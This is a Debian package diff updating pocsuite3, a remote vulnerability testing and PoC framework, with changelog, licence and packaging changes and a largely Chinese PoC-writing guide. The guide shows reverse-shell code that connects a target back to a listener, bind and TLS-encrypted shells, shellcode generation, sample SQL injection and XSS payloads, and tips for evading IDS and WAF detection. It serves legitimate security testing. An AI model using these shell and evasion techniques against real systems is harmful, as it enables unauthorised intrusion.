diff -Nru pocsuite3-1.7.7/CHANGELOG.md pocsuite3-1.8.10/CHANGELOG.md --- pocsuite3-1.7.7/CHANGELOG.md 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/CHANGELOG.md 2022-01-10 22:07:00.000000000 +0000 @@ -231,4 +231,66 @@ # version 1.7.7 ----------------- * 添加--dork自动用poc中的dork字段扫描功能 -* 适配Debian源格式需求 \ No newline at end of file +* 适配Debian源格式需求 + +# version 1.7.8 +----------------- +* add option to display extra parameters of poc +* add more poc attribute to result dict +* allow custom module path in console mode +* fix some compatibility problems + +# version 1.8.0 +----------------- +* fix the timeout problem in shell mode leads to confusing results +* made some improvements with network address related issues + +# version 1.8.1 +----------------- +* fix check_requires() can not handle dependent version correctly #208 +* update docs + +# version 1.8.2 +----------------- +* fix finding a python module version gives error + +# version 1.8.3 +----------------- +* some improvements related to dependent + +# version 1.8.4 +----------------- +* update docs +* fix typo + +# version 1.8.5 +----------------- +* support bind shell in shell mode +* fix #221 + +# version 1.8.6 +----------------- +* support encrypted shell (TLS) in shell mode +* fix #228 + +# version 1.8.7 +----------------- +* fix bug +* optimize code style & docs +* delete the exe tool for compatibility with dfsg + +# version 1.8.8 +----------------- +* rewrite multi module +* integrate with interactsh +* support filter poc by keyword + +# version 1.8.9 +----------------- +* fix user-agent bug #252 + +# version 1.8.10 +----------------- +* fix #254 +* fix urlparse fails with simple url +* use pycryptodomex instead of pycryptodome, fix #255 diff -Nru pocsuite3-1.7.7/CONTRIBUTORS.md pocsuite3-1.8.10/CONTRIBUTORS.md --- pocsuite3-1.7.7/CONTRIBUTORS.md 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/CONTRIBUTORS.md 2022-01-10 22:07:00.000000000 +0000 @@ -16,7 +16,6 @@ longofo * for contributing http server module - Ro0tk1t * for contributing multi-ip multi-poc execution features * fix some issues @@ -44,7 +43,7 @@ * bugfix #139 MrMetatron -* console模式，添加系统命令执行，添加pocuite3命令clear清除屏幕功能 +* console模式，添加系统命令执行，添加pocsuite3命令clear清除屏幕功能 z3r0yu -* Add quake dork for pocsuite3 \ No newline at end of file +* Add quake dork for pocsuite3 diff -Nru pocsuite3-1.7.7/COPYING pocsuite3-1.8.10/COPYING --- pocsuite3-1.7.7/COPYING 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/COPYING 2022-01-10 22:07:00.000000000 +0000 @@ -1,11 +1,11 @@ COPYING -- Describes the terms under which pocsuite is distributed. A copy of the GNU General Public License (GPL) is appended to this file. -pocsuite is (C) 2014-2018 pocsuite@seebug.org +pocsuite3 is (C) 2014-2021 404-team@knownsec.com This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free -Software Foundation; Version 2 (or later) with the clarifications and +Software Foundation; Version 2 with the clarifications and exceptions described below. This guarantees your right to use, modify, and redistribute this software under certain conditions. If you wish to embed pocsuite technology into proprietary software, we sell alternative licenses diff -Nru pocsuite3-1.7.7/debian/changelog pocsuite3-1.8.10/debian/changelog --- pocsuite3-1.7.7/debian/changelog 2021-11-22 10:18:20.000000000 +0000 +++ pocsuite3-1.8.10/debian/changelog 2022-01-11 02:58:20.000000000 +0000 @@ -1,3 +1,15 @@ +pocsuite3 (1.8.10-1) unstable; urgency=medium + + * New upstream version 1.8.10 + * add gnupg to build-depends + * Bump std-version to 4.6.0 + * switch homepage from http to https + * add python3-openssl to depends + * update copyright file + * update upstream watch address + + -- Tian Qiao Tue, 11 Jan 2022 10:58:20 +0800 + pocsuite3 (1.7.7-2) unstable; urgency=medium * Source only upload for migration to testing diff -Nru pocsuite3-1.7.7/debian/control pocsuite3-1.8.10/debian/control --- pocsuite3-1.7.7/debian/control 2021-11-22 10:18:20.000000000 +0000 +++ pocsuite3-1.8.10/debian/control 2022-01-11 02:58:20.000000000 +0000 @@ -4,13 +4,14 @@ Maintainer: Debian Security Tools Uploaders: Tian Qiao Build-Depends: debhelper-compat (= 13), + gnupg, dh-python, python3-all, python3-setuptools Testsuite: autopkgtest-pkg-python Rules-Requires-Root: no -Standards-Version: 4.5.1 -Homepage: http://pocsuite.org +Standards-Version: 4.6.0 +Homepage: https://pocsuite.org Vcs-Browser: https://salsa.debian.org/pkg-security-team/pocsuite3 Vcs-Git: https://salsa.debian.org/pkg-security-team/pocsuite3.git X-Python3-Version: >= 3.6 @@ -18,7 +19,11 @@ Package: pocsuite3 Architecture: all Multi-Arch: foreign -Depends: binutils, nasm, ${misc:Depends}, ${python3:Depends} +Depends: binutils, + nasm, + python3-openssl, + ${misc:Depends}, + ${python3:Depends} Description: Open-sourced remote vulnerability testing framework Pocsuite3 is an open-sourced remote vulnerability testing and proof-of-concept development framework developed by the Knownsec 404 Team. It comes with a diff -Nru pocsuite3-1.7.7/debian/copyright pocsuite3-1.8.10/debian/copyright --- pocsuite3-1.7.7/debian/copyright 2021-11-22 10:18:20.000000000 +0000 +++ pocsuite3-1.8.10/debian/copyright 2022-01-11 02:58:20.000000000 +0000 @@ -6,7 +6,7 @@ Source: https://github.com/knownsec/pocsuite3 Files: * -Copyright: 2014-2021 Knownsec 404 Team <404-team@knownsec.com> +Copyright: 2014-2022 Knownsec 404 Team <404-team@knownsec.com> License: GPL-2.0 On Debian systems, the full text of the GNU General Public License version 2 can be found in the file diff -Nru pocsuite3-1.7.7/debian/watch pocsuite3-1.8.10/debian/watch --- pocsuite3-1.7.7/debian/watch 2021-11-22 10:18:20.000000000 +0000 +++ pocsuite3-1.8.10/debian/watch 2022-01-11 02:58:20.000000000 +0000 @@ -1,3 +1,3 @@ version=4 opts="pgpsigurlmangle=s/$/.asc/" \ -https://github.com/knownsec/pocsuite3/releases .*/pocsuite3-(\d\S+)\+dfsg\.tar\.gz +https://github.com/knownsec/pocsuite3/releases/latest .*/v(\d\S+)\.tar\.gz diff -Nru pocsuite3-1.7.7/docs/CODING.md pocsuite3-1.8.10/docs/CODING.md --- pocsuite3-1.7.7/docs/CODING.md 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/docs/CODING.md 2022-01-10 22:07:00.000000000 +0000 @@ -1,21 +1,21 @@ -pocsuite3 开发文档 及 PoC 编写规范及要求说明 +Pocsuite3 开发文档及 PoC 编写规范及要求说明 --- * [概述](#overview) -* [插件 编写规范](#write_plugin) +* [插件编写规范](#write_plugin) * [TARGETS 类型插件](#plugin_targets) * [POCS 类型插件](#plugin_pocs) * [RESULTS 类型插件](#plugin_results) -* [PoC 脚本编写规范](#write_poc) - * [PoC python脚本编写步骤](#pocpy) - * [可自定义参数的插件](#可自定义参数的插件) +* [PoC 编写规范](#write_poc) + * [PoC python 脚本编写步骤](#pocpy) + * [可自定义参数的 PoC](#可自定义参数的插件) * [PoC 编写注意事项](#attention) - * [Pocsuite 远程调用文件列表](#inclue_files) + * [Pocsuite3 远程调用文件列表](#inclue_files) * [通用API列表](#common_api) * [通用方法](#api_common) * [参数调用](#api_params) * [PoC 代码示例](#PoCexample) * [PoC Python 代码示例](#pyexample) -* [pocsuite3 集成调用](#pocsuite_import) +* [Pocsuite3 集成调用](#pocsuite_import) * [PoC 规范说明](#PoCstandard) * [PoC 编号说明](#idstandard) * [PoC 命名规范](#namedstandard) @@ -27,13 +27,14 @@ ### 概述
- 本文档为 Pocsuite3 插件及 PoC 脚本编写规范及要求说明，包含了插件 PoC 脚本编写的步骤以及相关 API 的一些说明。一个优秀的 PoC 离不开反复的调试、测试，在阅读本文档前，请先阅读 [《Pocsuite 使用文档》](./USAGE.md)。或参考https://paper.seebug.org/904/ 查看pocsuite3的一些新特性。 + 本文档为 Pocsuite3 插件及 PoC 脚本编写规范及要求说明，包含了插件、PoC 脚本编写的步骤以及相关 API 的一些说明。一个优秀的 PoC 离不开反复的调试、测试，在阅读本文档前，请先阅读 [《Pocsuite3 使用文档》](./USAGE.md)。或参考 https://paper.seebug.org/904/ 查看 Pocsuite3 的一些新特性。 -### 插件 编写规范
-pocsuite3 共有三种类型的插件，定义在 `pocsuite3.lib.core.enums.PLUGIN_TYPE` 中. +### 插件编写规范
+Pocsuite3 共有三种类型的插件，定义在 `pocsuite3.lib.core.enums.PLUGIN_TYPE` 中。 #### TARGETS 类型插件
-TARGETS 类型插件 用来自定义在系统初始化时候 加载检测目标的功能，例如从redis 或 数据库加载 targets +TARGETS 类型插件用来自定义在系统初始化时候加载检测目标的功能，例如从 redis 或数据库加载 targets + ```python from pocsuite3.api import PluginBase from pocsuite3.api import PLUGIN_TYPE @@ -44,7 +45,7 @@ category = PLUGIN_TYPE.TARGETS def init(self): - targets = ['www.a.com', 'www.b.com'] # load from redis, database ... + targets = ['www.a.com', 'www.b.com'] # load from redis, database ... count = 0 for target in targets: if self.add_target(target): @@ -58,7 +59,8 @@ ``` #### POCS 类型插件
-POCS 类型插件 用来自定义在系统初始化时候 加载PoC 脚本的功能，例如从redis 或 数据库加载 PoC脚本代码 +POCS 类型插件用来自定义在系统初始化时候加载 PoC 脚本的功能，例如从 redis 或数据库加载 PoC 脚本代码 + ```python from pocsuite3.api import PluginBase from pocsuite3.api import PLUGIN_TYPE @@ -69,7 +71,7 @@ category = PLUGIN_TYPE.POCS def init(self): - pocs = [POC_CODE_1, POC_CODE_2] # load PoC code from redis, database ... + pocs = [POC_CODE_1, POC_CODE_2] # load PoC code from redis, database ... count = 0 for poc in pocs: if poc and self.add_poc(poc): @@ -83,7 +85,8 @@ ``` #### RESULTS 类型插件
-RESULTS 类型插件 用来自定义检测结果的导出，例如导出 html 报表等 +RESULTS 类型插件用来自定义检测结果的导出，例如导出 html 报表等 + ```python from pocsuite3.api import PluginBase from pocsuite3.api import PLUGIN_TYPE @@ -112,20 +115,20 @@ ``` -若需要`实时的`保存结果，需要在申明`handle`来处理，可参考https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/plugins/file_record.py的写法。 +若需要实时的保存结果，需要申明 `handle` 来处理，可参考 https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/plugins/file_record.py 的写法。 ### PoC 编写规范
-#### PoC python脚本编写步骤
+#### PoC python 脚本编写步骤
-本小节介绍 PoC python脚本编写 +本小节介绍 PoC python 脚本编写 -pocsuite3 仅支持 Python3.x，如若编写 Python3 格式的 PoC，需要开发者具备一定的 Python3 基础 +Pocsuite3 仅支持 Python 3.x，如若编写 Python3 格式的 PoC，需要开发者具备一定的 Python3 基础 -1. 首先新建一个`.py`文件,文件名应当符合 [《PoC 命名规范》](#namedstandard) +1. 首先新建一个 `.py` 文件，文件名应当符合 [《PoC 命名规范》](#namedstandard) -2. 编写 PoC 实现类`DemoPOC`,继承自`PoCBase`类. +2. 编写 PoC 实现类 `DemoPOC`，继承自 `PoCBase` 类. ```python from pocsuite3.api import Output, POCBase, register_poc, requests, logger @@ -137,27 +140,27 @@ ... ``` -3. 填写 PoC 信息字段,**要求认真填写所有基本信息字段** +3. 填写 PoC 信息字段，**请认真填写所有基本信息字段** ```python - vulID = '1571' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0 - version = '1' #默认为1 - author = 'seebug' # PoC作者的大名 - vulDate = '2014-10-16' #漏洞公开的时间,不知道就写今天 - createDate = '2014-10-16'# 编写 PoC 的日期 - updateDate = '2014-10-16'# PoC 更新的时间,默认和编写时间一样 - references = ['https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html']# 漏洞地址来源,0day不用写 - name = 'Drupal 7.x /includes/database/database.inc SQL注入漏洞 PoC'# PoC 名称 - appPowerLink = 'https://www.drupal.org/'# 漏洞厂商主页地址 - appName = 'Drupal'# 漏洞应用名称 - appVersion = '7.x'# 漏洞影响版本 - vulType = 'SQL Injection'#漏洞类型,类型参考见 漏洞类型规范表 - desc = ''' - Drupal 在处理 IN 语句时，展开数组时 key 带入 SQL 语句导致 SQL 注入， - 可以添加管理员、造成信息泄露。 - ''' # 漏洞简要描述 - samples = []# 测试样列,就是用 PoC 测试成功的网站 - install_requires = [] # PoC 第三方模块依赖，请尽量不要使用第三方模块，必要时请参考《PoC第三方模块依赖说明》填写 - pocDesc = ''' poc的用法描述 ''' + vulID = '99335' # Seebug 漏洞收录ID，如果没有则为0 + version = '1' # PoC 的版本，默认为1 + author = 'seebug' # PoC 的作者 + vulDate = '2021-8-18' # 漏洞公开日期 (%Y-%m-%d) + createDate = '2021-8-20' # PoC 编写日期 (%Y-%m-%d) + updateDate = '2021-8-20' # PoC 更新日期 (%Y-%m-%d) + references = ['https://www.seebug.org/vuldb/ssvid-99335'] # 漏洞来源地址，0day 不用写 + name = 'Fortinet FortiWeb 授权命令执行 (CVE-2021-22123)' # PoC 名称，建议命令方式：<厂商> <组件> <版本> <漏洞类型> + appPowerLink = 'https://www.fortinet.com' # 漏洞厂商主页地址 + appName = 'FortiWeb' # 漏洞应用名称 + appVersion = '<=6.4.0' # 漏洞影响版本 + vulType = 'Code Execution' # 漏洞类型，参见漏洞类型规范表 + desc = '/api/v2.0/user/remoteserver.saml接口的name参数存在命令注入' # 漏洞简要描述 + samples = ['http://192.168.1.1'] # 测试样列，就是用 PoC 测试成功的目标 + install_requires = ['BeautifulSoup4:bs4'] # PoC 第三方模块依赖，请尽量不要使用第三方模块，必要时请参考《PoC第三方模块依赖说明》填写 + pocDesc = ''' poc的用法描述 ''' + dork = {'zoomeye': 'deviceState.admin.hostname'} # 搜索 dork，如果运行 PoC 时不提供目标且该字段不为空，将会调用插件从搜索引擎获取目标。 + suricata_request = '''http.uri; content: "/api/v2.0/user/remoteserver.saml";''' # 请求流量 suricata 规则 + suricata_response = '' # 响应流量 suricata 规则 ``` 4. 编写验证模式 @@ -166,7 +169,7 @@ def _verify(self): output = Output(self) # 验证代码 - if result: # result是返回结果 + if result: # result是返回结果 output.success(result) else: output.fail('target is not vulnerable') @@ -175,7 +178,7 @@ 5. 编写攻击模式 -攻击模式可以对目标进行 getshell,查询管理员帐号密码等操作.定义它的方法与检测模式类似 +攻击模式可以对目标进行 getshell，查询管理员帐号密码等操作，定义它的方法与检测模式类似 ```python def _attack(self): output = Output(self) @@ -183,20 +186,34 @@ # 攻击代码 ``` -和验证模式一样,攻击成功后需要把攻击得到结果赋值给 result 变量 +和验证模式一样，攻击成功后需要把攻击得到结果赋值给 result 变量 -**注意:如果该 PoC 没有攻击模式,可以在 \_attack()函数下加入一句 return self.\_verify() 这样你就无需再写 \_attack 函数了。** +**注意：如果该 PoC 没有攻击模式，可以在 \_attack() 函数下加入一句 return self.\_verify() 这样你就无需再写 \_attack 函数了。** 6. 编写shell模式 [**new**] -pocsuite3 在 shell 模式 会默认监听`6666`端口， 编写对应的攻击代码，让目标执行反向连接 运行pocsuite3 系统IP的 `6666`端口即可得到一个shell +Pocsuite3 在 shell 模式会默认监听 `6666` 端口，编写对应的攻击代码，让目标执行反向连接运行 Pocsuite3 系统 IP 的 `6666` 端口即可得到一个 shell ```python def _shell(self): cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port()) # 攻击代码 execute cmd ``` -shell模式下，只能运行单个PoC脚本，控制台会进入shell交互模式执行命令及输出 +shell 模式下，只能运行单个 PoC 脚本，控制台会进入 shell 交互模式执行命令及输出 + +从 ***1.8.5*** 版本开始，Pocsuite3 支持 bind shell。shell 模式和原来的操作方式一致，也需要指定监听 ip 和端口，监听 ip 可以是本地任意 ip，也可以是远程 vps ip。 + +bind shell 的实现位于 `./pocsuite3/modules/listener/bind_tcp.py`，原理是实现了一个中间层，一端连接漏洞目标的 bind shell（如 telnet 服务、nc 启动的 shell、php 一句话等），另一端连接用户指定的监听 ip 和端口，如此一来，shell 模式可以不受网络环境限制，支持在内网使用。 + +目前支持三种 bind shell，使用场景如下： + +`bind_shell`：通用方法，在 shell 模式中直接调用 `return bind_shell(self, rce_func)` 即可，非常便捷。针对有回显的漏洞，在 PoC 中实现一个 rce（函数名可自定义）方法，函数参数为命令输入，输出为命令输出。如果漏洞无回显，也可以通过写一句话转为有回显的。值得一提的是，用户也可以在 rce 方法中实现流量的加解密以逃避 IDS 检测。 + +`bind_tcp_shell`：对 tcp 绑定型 shell 的原生支持，在 shell 模式中 `return bind_tcp_shell(bind_shell_ip, bind_shell_port)` + +`bind_telnet_shell`：对 telnet 服务的原生支持，在 shell 模式中 `return bind_telnet_shell(ip, port, username, password)` + +从 ***1.8.6*** 版本开始，Pocsuite3 支持加密的 shell。PoC 中使用 openssl 的反弹命令（也可以用代码反弹），并且在运行时指定 `--tls` 选项。 7. 结果返回 @@ -216,7 +233,7 @@ } ``` -output 为 Pocsuite 标准输出API，如果要输出调用成功信息则使用 `output.success(result)`,如果要输出调用失败则 `output.fail()`,系统自动捕获异常，不需要PoC里处理捕获,如果PoC里使用try...except 来捕获异常，可通过`output.error('Error Message')`来传递异常内容,建议直接使用模板中的parse_output通用结果处理函数对_verify和_attack结果进行处理。 +output 为 Pocsuite3 标准输出 API，如果要输出调用成功信息则使用 `output.success(result)`，如果要输出调用失败则 `output.fail()`，系统自动捕获异常，不需要 PoC 里处理捕获，如果 PoC 里使用 try...except 来捕获异常，可通过`output.error('Error Message')` 来传递异常内容，建议直接使用模板中的 parse_output 通用结果处理函数对 _verify 和 _attack 结果进行处理。 ``` def _verify(self, verify=True): result = {} @@ -233,18 +250,19 @@ return output ``` -8. 注册PoC实现类 +8. 注册 PoC 实现类 -在类的外部调用register_poc()方法注册PoC类 +在类的外部调用 register_poc() 方法注册 PoC 类 ``` class DemoPOC(POCBase): - #POC内部代码 + # POC内部代码 -#注册 DemoPOC 类 +# 注册 DemoPOC 类 register_poc(DemoPOC) ``` -#### 可自定义参数的POC
-如果你需要编写一个可以交互参数的poc文件(例如有的poc脚本需要填写登录信息，或者任意命令执行时执行任意命令)，那么可以在poc文件中声明一个`_options`方法。一个简单的例子如下 + +#### 可自定义参数的 PoC
+如果你需要编写一个可以交互参数的 PoC 文件(例如有的 PoC 脚本需要填写登录信息，或者任意命令执行时执行任意命令)，那么可以在 PoC 文件中声明一个 `_options` 方法。一个简单的例子如下： ```python from collections import OrderedDict @@ -254,9 +272,9 @@ class DemoPOC(POCBase): - vulID = '00000' # ssvid + vulID = '0' # ssvid version = '1.0' - author = ['knownsec.com'] + author = ['seebug'] vulDate = '2019-2-26' createDate = '2019-2-26' updateDate = '2019-2-25' @@ -302,59 +320,64 @@ register_poc(DemoPOC) ``` -它可以使你在`console`或者`cli`模式下调用。 +它可以使你在 `console` 或者 `cli` 模式下调用。 -- 在console模式下，pocsuite3模仿了msf的操作模式，你只需要使用`set`命令来设置相应的参数，然后`run`或者`check`来执行(`attack`和`shell`命令也可以)。 -- 在cli模式下，如上面例子所示，定义了`username`和`password`两个字段，你可以在参数后面加上`--username test --password test`来调用执行，需要注意的是，如果你的参数中包含了空格，用双引号`"`来包裹它。 +- 在 console 模式下，Pocsuite3 模仿了 msf 的操作模式，你只需要使用 `set` 命令来设置相应的参数，然后 `run` 或者 `check` 来执行(`attack` 和 `shell` 命令也可以)。 +- 在 cli 模式下，如上面例子所示，定义了 `username` 和 `password` 两个字段，你可以在参数后面加上 `--username test --password test` 来调用执行，需要注意的是，如果你的参数中包含了空格，用双引号 `"` 来包裹它。 ##### 自定义字段 -像其他工具一样，如果你想使用自定义的字段，将它定义到`_options`方法中，然后返回一个数组。如果在poc文件中想调用自定义字段，需要提前引入 +像其他工具一样，如果你想使用自定义的字段，将它定义到 `_options` 方法中，然后返回一个数组。如果在 PoC 文件中想调用自定义字段，需要提前引入： ```python -from pocsuite3.api import OptString,OptDict,OptIP,OptPort,OptBool,OptInteger,OptFloat,OptItems +from pocsuite3.api import OptString, OptDict, OptIP, OptPort, OptBool, OptInteger, OptFloat, OptItems ``` | 字段类型 | 字段描述 | 参数解释 | 相关例子 | | ---------- | ------------------------------------------------------------ | ------------------------------------------------------------ | -------- | -| OptString | 接收字符串类型数据 | default:传入一个默认值
descript:字段描述，默认为空
require:是否必须，默认False | | -| OptDict | 接收一个字典类型参数，在选择上如果选择key，调用时会调用对应的value | default:传入一个默认值
descript:字段描述，默认为空
require:是否必须，默认False | | -| OptIP | 接收IP类型的字符串 | default:传入一个默认值
descript:字段描述，默认为空
require:是否必须，默认False | | -| OptPort | 接收端口类型参数 | default:传入一个默认值
descript:字段描述，默认为空
require:是否必须，默认False | | -| OptBool | 接收布尔类型参数 | default:传入一个默认值
descript:字段描述，默认为空
require:是否必须，默认False | | -| OptInteger | 接收整数类型参数 | default:传入一个默认值
descript:字段描述，默认为空
require:是否必须，默认False | | -| OptFloat | 接收浮点数类型参数 | default:传入一个默认值
descript:字段描述，默认为空
require:是否必须，默认False | | -| OptItems | 接收list类型参数 | default:传入一个默认值
selectd:默认选择
descript:字段描述，默认为空
require:是否必须，默认False | | +| OptString | 接收字符串类型参数 | default: 传入一个默认值
descript: 字段描述，默认为空
require: 是否必须，默认False | | +| OptDict | 接收一个字典类型参数，在选择上如果选择key，调用时会调用对应的value | default: 传入一个默认值
descript: 字段描述，默认为空
require: 是否必须，默认False | | +| OptIP | 接收IP类型的字符串 | default: 传入一个默认值
descript: 字段描述，默认为空
require: 是否必须，默认False | | +| OptPort | 接收端口类型参数 | default: 传入一个默认值
descript: 字段描述，默认为空
require: 是否必须，默认False | | +| OptBool | 接收布尔类型参数 | default: 传入一个默认值
descript: 字段描述，默认为空
require: 是否必须，默认False | | +| OptInteger | 接收整数类型参数 | default: 传入一个默认值
descript: 字段描述，默认为空
require: 是否必须，默认False | | +| OptFloat | 接收浮点数类型参数 | default: 传入一个默认值
descript: 字段描述，默认为空
require: 是否必须，默认False | | +| OptItems | 接收list类型参数 | default: 传入一个默认值
selectd: 默认选择
descript: 字段描述，默认为空
require: 是否必须，默认False | | + +需要注意的是，`console` 模式支持所有的参数类型，`cli` 模式除了`OptDict`、`OptBool`、`OptItems` 类型外都支持。 -需要注意的是，`console`模式支持所有的参数类型，`cli`模式除了`OptDict`、`OptBool`、`OptItems`类型外都支持。 #### PoC 编写注意事项
-1. 要求在编写PoC的时候，尽量的不要使用第三方模块，如果在无法避免的情况下，请认真填写install_requires 字段，填写格式参考《PoC第三方模块依赖说明》。 -2. 要求编写PoC的时候，尽量的使用Pocsuite 已经封装的API提供的方法，避免自己重复造轮子，对于一些通用方法可以加入到API，具体参考《通用API列表》。 -3. 如果PoC需要包含远程文件等，统一使用Pocsuite 远程调用文件，具体可以参考[《Pocsuite 远程调用文件列表》](#inclue_files)，不要引入第三方文件，如果缺少对应文件，联系管理员添加。 -4. 要求每个PoC在编写的时候，尽可能的不要要求输入参数，这样定制化过高，不利于PoC的批量化调度执行，尽可能的PoC内部实现参数的构造，至少应该设置默认值，如某个PoC需要指定用户id，那么应该允许使用extar_param传入id，也应该没有传入该参数的时候自动设置默认值，不应该影响PoC的正常运行与验证。 -5. 要求每个PoC在输出结果的时候，尽可能的在不破坏的同时输出取证信息，如输出进程列表，具体参考[《PoC 结果返回规范》](#resultstandard)。 -6. 要求认真填写PoC信息字段，其中vulID请填写Seebug上的漏洞ID（不包含SSV-）。 -7. 为了防止误报产生以及避免被关键词被WAF等作为检测特征,要求验证结果判断的时候输出随机的字符串（可以调用API中的`random_str`方法），而不用采用固定字符串。 +1. 要求在编写 PoC 的时候，尽量的不要使用第三方模块，如果在无法避免的情况下，请认真填写 install_requires 字段，填写格式参考《PoC 第三方模块依赖说明》。 +2. 要求编写 PoC 的时候，尽量的使用 Pocsuite3 已经封装的 API 提供的方法，避免自己重复造轮子，对于一些通用方法可以加入到 API，具体参考《通用 API 列表》。 +3. 如果 PoC 需要包含远程文件等，统一使用 Pocsuite3 远程调用文件，具体可以参考[《Pocsuite3 远程调用文件列表》](#inclue_files)，不要引入第三方文件，如果缺少对应文件，联系管理员添加。 +4. 要求每个 PoC 在编写的时候，尽可能的不要要求输入参数，这样定制化过高，不利于 PoC 的批量化调度执行，尽可能的 PoC 内部实现参数的构造，至少应该设置默认值，如某个 PoC 需要指定用户id，那么应该允许使用 extar_param 传入 id，也应该没有传入该参数的时候自动设置默认值，不应该影响 PoC 的正常运行与验证。 +5. 要求每个 PoC 在输出结果的时候，尽可能的在不破坏的同时输出取证信息，如输出进程列表，具体参考[《PoC 结果返回规范》](#resultstandard)。 +6. 要求认真填写 PoC 信息字段，其中 vulID 请填写 Seebug 上的漏洞 ID（不包含 SSV-）。 +7. 为了防止误报产生以及避免被关键词被 WAF 等作为检测特征，要求验证结果判断的时候输出随机的字符串（可以调用 API 中的`random_str`方法），而不用采用固定字符串。 比如： ``` -检测 SQL 注入时, +检测 SQL 注入时： token = random_str() payload = 'select md5(%s)' % token ... if hashlib.new('md5', token).hexdigest() in content: result['VerifyInfo'] = {} - result['VerifyInfo']['URL'] = self.url + payload -检测 XSS 漏洞时, + result['VerifyInfo']['URL'] = self.url + +检测 XSS 漏洞时： + # 可参考 https://paper.seebug.org/1119/ + token = random_str() payload = 'alert("%s")' % token ... - if hashlib.new('md5', token).hexdigest() in content: + if payload in content: result['VerifyInfo'] = {} - result['VerifyInfo']['URL'] = self.url + payload -检测 PHP 文件上传是否成功, + result['VerifyInfo']['URL'] = self.url + +检测 PHP 文件上传是否成功： token = random_str() payload = '' % token @@ -362,17 +385,17 @@ if hashlib.new('md5', token).hexdigest() in content: result['VerifyInfo'] = {} - result['VerifyInfo']['URL'] = self.url+payload + result['VerifyInfo']['URL'] = self.url ``` -8. 任意文件如果需要知道网站路径才能读取文件的话,可以读取系统文件进行验证,要写 Windows 版和 Linux 版两个版本。 -9. 检测模式下,上传的文件一定要删掉。 -10. 程序可以通过某些方法获取表前缀，just do it；若不行，保持默认表前缀。 -11. PoC 编写好后，务必进行测试，测试规则为：5个不受漏洞的网站，确保 PoC 攻击不成功；5个受漏洞影响的网站，确保 PoC 攻击成功 +8. 任意文件如果需要知道网站路径才能读取文件的话，可以读取系统文件进行验证，要写 Windows 版和 Linux 版两个版本。 +9. 检测模式下，上传的文件一定要删掉。 +10. 程序可以通过某些方法获取表前缀，just do it；若不行，保持默认表前缀。 +11. PoC 编写好后，务必进行测试，测试规则为：5 个不受漏洞影响的网站，确保 PoC 攻击不成功；5 个受漏洞影响的网站，确保 PoC 攻击成功 -#### Pocsuite 远程调用文件列表
-部分 PoC 需要采用包含远程文件的形式，要求基于 Pocsuite 的 PoC 统一调用统一文件(如需引用未在以下文件列表内文件，请联系s1@seebug.org或者直接提交 issue)。 -统一URL调用路径：`http://pocsuite.org/include_files/`，如 `http://pocsuite.org/include_files/xxe_verify.xml` +#### Pocsuite3 远程调用文件列表
+部分 PoC 需要采用包含远程文件的形式，要求基于 Pocsuite3 的 PoC 统一调用统一文件(如需引用未在以下文件列表内文件，请联系 404-team@knownsec.com 或者直接提交 issue)。 +统一 URL 调用路径：`https://pocsuite.org/include_files/`，如 `https://pocsuite.org/include_files/xxe_verify.xml` **文件列表** @@ -385,7 +408,7 @@ |xxe_verify.xml|XXE 验证文件| -#### 通用API列表
+#### 通用 API 列表
在编写 PoC 的时候，相关方法请尽量调用通用的已封装的 API **通用方法**
@@ -404,26 +427,26 @@ **参数调用**
-* self.headers 用来获取 http 请求头, 可以通过 --cookie, --referer, --user-agent, --headers 来修改和增加需要的部分 -* self.params 用来获取 --extra-params 赋值的变量, Pocsuite 会自动转化成字典格式, 未赋值时为空字典 -* self.url 用来获取 -u / --url 赋值的 URL, 如果之前赋值是 baidu.com 这样没有协议的格式时, Pocsuite 会自动转换成 http:// baidu.com +* self.headers 用来获取 http 请求头， 可以通过 --cookie, --referer，--user-agent，--headers 来修改和增加需要的部分 +* self.params 用来获取 --extra-params 赋值的变量，Pocsuite3 会自动转化成字典格式，未赋值时为空字典 +* self.url 用来获取 -u / --url 赋值的 URL，如果之前赋值是 baidu.com 这样没有协议的格式时， Pocsuite3 会自动转换成 http://baidu.com -##### ShellCode生成支持 +##### ShellCode 生成支持 -在一些特殊的Linux和Windows环境下，想得到反弹shell条件比较困难。为此我们制作了用于在Windows/Linux x86 x64环境下的用于反弹的shellcode，并制作了接口支持，你在只需要拥有命令执行权限下便可以自动将shellcode写入到目标机器以及执行反弹shell命令。Demo Poc：https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/thinkphp_rce2.py +在一些特殊的 Linux 和 Windows 环境下，想得到反弹 shell 条件比较困难。为此我们制作了用于在 Windows/Linux x86 x64 环境下的用于反弹的 shellcode，并制作了接口支持，你在只需要拥有命令执行权限下便可以自动将 shellcode 写入到目标机器以及执行反弹 shell 命令。Demo Poc：https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/thinkphp_rce2.py ```python from pocsuite3.api import generate_shellcode_list -_list = generate_shellcode_list(listener_ip=get_listener_ip(),listener_port=get_listener_port(),os_target=OS.LINUX,os_target_arch=OS_ARCH.X86) +_list = generate_shellcode_list(listener_ip=get_listener_ip(), listener_port=get_listener_port(), os_target=OS.LINUX, os_target_arch=OS_ARCH.X86) ``` -将生成一长串执行指令，执行这些指令便可以反弹出一个shell。 +将生成一长串执行指令，执行这些指令便可以反弹出一个 shell。 -##### HTTP服务内置 +##### HTTP 服务内置 -对于一些需要第三方HTTP服务才能验证的漏洞，Pocsuite3也提供对应的API，支持在本地开启一个HTTP服务方便进行验证。 +对于一些需要第三方 HTTP 服务才能验证的漏洞，Pocsuite3 也提供对应的API，支持在本地开启一个 HTTP 服务方便进行验证。 -可查看测试用例:https://github.com/knownsec/pocsuite3/blob/master/tests/test_httpserver.py +可查看测试用例：https://github.com/knownsec/pocsuite3/blob/master/tests/test_httpserver.py #### PoC 代码示例
